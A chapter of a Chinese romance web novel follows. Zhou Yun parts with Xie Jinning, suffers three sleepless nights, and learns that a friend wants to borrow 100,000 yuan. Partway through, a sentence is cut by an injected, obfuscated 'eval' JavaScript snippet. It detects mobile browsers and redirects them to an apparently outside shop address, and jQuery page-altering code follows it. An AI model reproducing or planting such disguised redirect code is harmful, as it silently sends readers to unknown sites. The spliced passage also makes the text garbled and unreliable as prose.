第23章
吃早餐的时候，周蕴一直在盯着对面的谢谨宁看。
谢谨宁故作镇定给她夹菜，“怎么一直在看我？我脸上有东西吗？”
“没有。”周蕴笑笑，“看你今天特别帅。”
谢谨宁：......
周蕴非常直观的看到谢谨宁脸红的全程，“我夸你，不适应了？”
“不是。”谢谨宁闷声说：“受宠若惊。”
“以后可以多露出额头。”周蕴是真心建议的，“你这样很帅，起码我很喜欢看。”
谢谨宁点点头，“我会的。”
碗里的粥晾的差不多了，周蕴也不再逗谢谨宁，认真吃饭。
早餐是谢谨宁结的账，因为他觉得自己吃的多，让周蕴结账不好意思。
周蕴也没争，早餐再吃能吃多少，非得计较倒是会让两个人之间产生间隙。
出了早餐店走出不远，周蕴伸了个懒腰，然后仰头看着天空，“今天天气不错。”
“是，气温回升的大晴天。”谢谨宁在周蕴身后，以一种守护的姿态安静站着。
周蕴收回目光，看向谢谨宁，刚开口说话，“你一会儿——”
谢谨宁的手机响起，打断了她和他的交谈。
谢谨宁拿出手机看了眼，不自觉皱了下眉，然后满是歉意的看着周蕴。
“快接吧。”周蕴笑笑。
等谢谨宁接起电话，声音冷然低沉的一声“喂”响起时，周蕴讶然。
周蕴悄悄挪动脚步，走到离谢谨宁五步远的位置等候。
谢谨宁这个电话时间有些长，他基本都在听对面说，偶尔才会回一句。
又过了两三分钟，谢谨宁结束通话，一转身，姐姐不见了。
谢谨宁呼喊的声音已经到了喉咙口，又被他咽了回去。
他看到了。
原来在这里。
谢谨宁走向周蕴，“怎么在这里？”
周蕴没说，而是笑着指了指身后的广告牌，她正好在广告牌的阴影下遮阳。
“我们回去吧。”谢谨宁脸上的表情有些不自然，他小声说：“周蕴，我有点事情要处理，可能...要先走了。”
“好啊。”周蕴应了一声，随即便抬脚朝家的方向走去，还喊着谢谨宁跟上来，“怎么不走？”
谢谨宁神情晦暗不明。
他跟在周蕴后面，一言不发。
但其实他有好多话想问周蕴，可每每要说出口，又担心自己这么问会不会过界。
万一惹周蕴不高兴，他不能接受这样所带来的后果。
谢谨宁只能安慰自己，没关系，现在和周蕴的关系已经在进步中了，路要一步一步走才行。
回到家里，谢谨宁收拾了自己的东西，他故意留下黑色衬衫没带走。
周蕴把谢谨宁送到电梯口，看着他走进去，看着电梯门关上，看着面板上的数字向下变化。
她没说再见。
他也没说再见。
周蕴重新回到家里，关上门，靠在门上缓缓下滑，直到坐在地上，久久都在沉思。
出了电梯的谢谨宁不敢回头。
他怕自己舍不得走，当然，事实也确实如此，可民宿那边有事情，之前几天都没过去，眼下一定是拖到不能再拖了，余晓月才会打给他，所以他必须要过去一趟。
连着三天，周蕴和谢谨宁都没联系。
谢谨宁是忙，而周蕴纯粹是烦躁，因为她上一次睡个好觉还是谢谨宁在的那天。
这两天周蕴甚至尝试过还原当天停电的环境，但没有丝毫用处。
三天了。
周蕴一共也没睡上八个小时，整个人都要熬穿了。
家里所有的窗帘都遮挡的严严实实，环境昏暗，周蕴从床到沙发，也换过在地上直接躺着，想着不同姿势总有一个适合自己。
可视门铃声音响起的时候，周蕴正处于半梦半醒之间，好不容易来的困意，这下烟消云散。
掀开被子从沙发上坐起来的瞬间，周蕴感觉自己已经怨气缠身了。
她看了眼时间，五点整。
到底是谁在这个时间来找她。
周蕴穿鞋朝门口走去，然后按下接通，画面中出现路婧和赵灿的身影。
“咦？通了吗？”路婧凑近了些，“周蕴，你是不是接了？”
“嗯。”周蕴短促的应了一身。
路婧催她：“你快给我开门呀~然后过三十秒给我们按电梯。”
周蕴应好。
按过电梯以后，周蕴就在门口等着。
很快，电梯门开了。
拎着袋子的路婧先走出来，一眼看到蹲在门口跟个石墩似的的周蕴，走过去好奇问：“你怎么了？生理期肚子疼？”
“没有。”周蕴撑着腿站起来，脸色惨白，挂着两个黑眼圈的样子憔悴极了。
路婧震惊，“我的天！你多久没睡好觉了？”
周蕴声音发虚：“三天。”
“快进去快进去。”路婧催促着，“哎哟喂，这得亏我们来了，你瞧瞧你这个样子，简直吓死人了。”
路婧风风火火先进了周蕴家门放东西。
周蕴偏头，看向赵灿，“今天怎么有时间过来？不用带孩子？”
“不用，他爸今天下班早在家带他，我听说你生病了，来看看你。”赵灿眉眼间带着疲惫，但还是撑着笑起来，抬起手给周蕴看她带来的补品。
“谢谢，破费了。”周蕴没休息好，勉强挤出一个笑来。
二人没一个笑的真诚，全是敷衍。
先一步的路婧已经开始在厨房忙活，听见周蕴进门的声音后，扯着嗓子喊她：“你过来一下。”
周蕴让赵灿随便坐，自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552175|203046||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己朝厨房走去。
路婧正在热菜，周蕴靠近她，低声问：“来之前你怎么不告诉我？”
“嚯，真会恶人先告状。”路婧吐槽周蕴，“你敢不敢把手机拿出来，看看我给你发了多少条消息，打了多少个电话。”
周蕴微微抿唇，将手机拿出来。
她的手机静音了，路婧发了34条消息，打了12个电话。
“抱歉，我静音了。”
“猜到了。”路婧说：“知道你最近不舒服，不会生你气的。”
路婧一副大人有大量的样子，总算逗笑了周蕴。
周蕴靠近路婧，轻声问她：“怎么一起来了？”
路婧耸肩，表示自己也很无奈。
周蕴倚着墙，忍不住思索赵灿的来意。
赵灿是她们四人中结婚最早的，今年31岁，但已经结婚八年，孩子都七岁了。
赵灿结婚以后，跟她和路婧的关系淡了许多，但跟曲雪还是不错的，经常能看到她朋友圈发两个人的合照。
周蕴和路婧都没意见，虽然大家认识的时间差不多，但总归做不到公平对待，毕竟人心是偏的。
上一次和赵灿见面，还是周蕴升职副经理请客吃饭，最近也没什么事，她是在想不出赵灿为什么会来见她。
尽管理由是探病，但周蕴知道，这不是真正的原因。
思索间，路婧将带来的饭菜都热好了，周蕴和她一起端出去放在餐桌上。
“特意买的你爱吃的，多吃点哈。”路婧叮嘱周蕴，“睡不好也要吃饭，我刚才用厨房时可看了啊，你又几天没开火了吧？”
周蕴摸摸鼻子，不言而喻的心虚。
两个人熟稔的互动被对面的赵灿看在眼里，她看得出周蕴不舒服，也不想耽误周蕴太多休息时间，她是无事不登三宝殿的性格，大家也都知道，所以没必要绕圈子。
“周蕴，我今天来，一个是探病，另一个是替曲雪过来的。”
周蕴心中微微叹气，就不能等吃完饭再说吗？
周蕴放下筷子，看着赵灿，“她什么意思？”
赵灿抿着唇，垂着眼。
路婧皱眉，刚想催促，周蕴在桌下按住她的手，“直说就行，不用纠结。”
周蕴其实很烦赵灿这种状态，要是觉得不合适不想说干脆就不要答应，替人来了又要扭捏。
总是这样被迫、无奈的神情，好似一切都是她身不由己。
“嗯。”赵灿一直没看周蕴的眼睛，“曲雪要结婚了。”
“所以？”
“曲雪想找你借一笔钱。”许是开了口，后面的话就没那么难说出口了，赵灿一鼓作气：“她想找你借十万，数额不算大，目前所有人里面，也只有你能拿的出这笔钱。”
周蕴怔愣，抬手揉揉自己的耳朵，“你说什么？曲雪找我——借十万块钱？？？”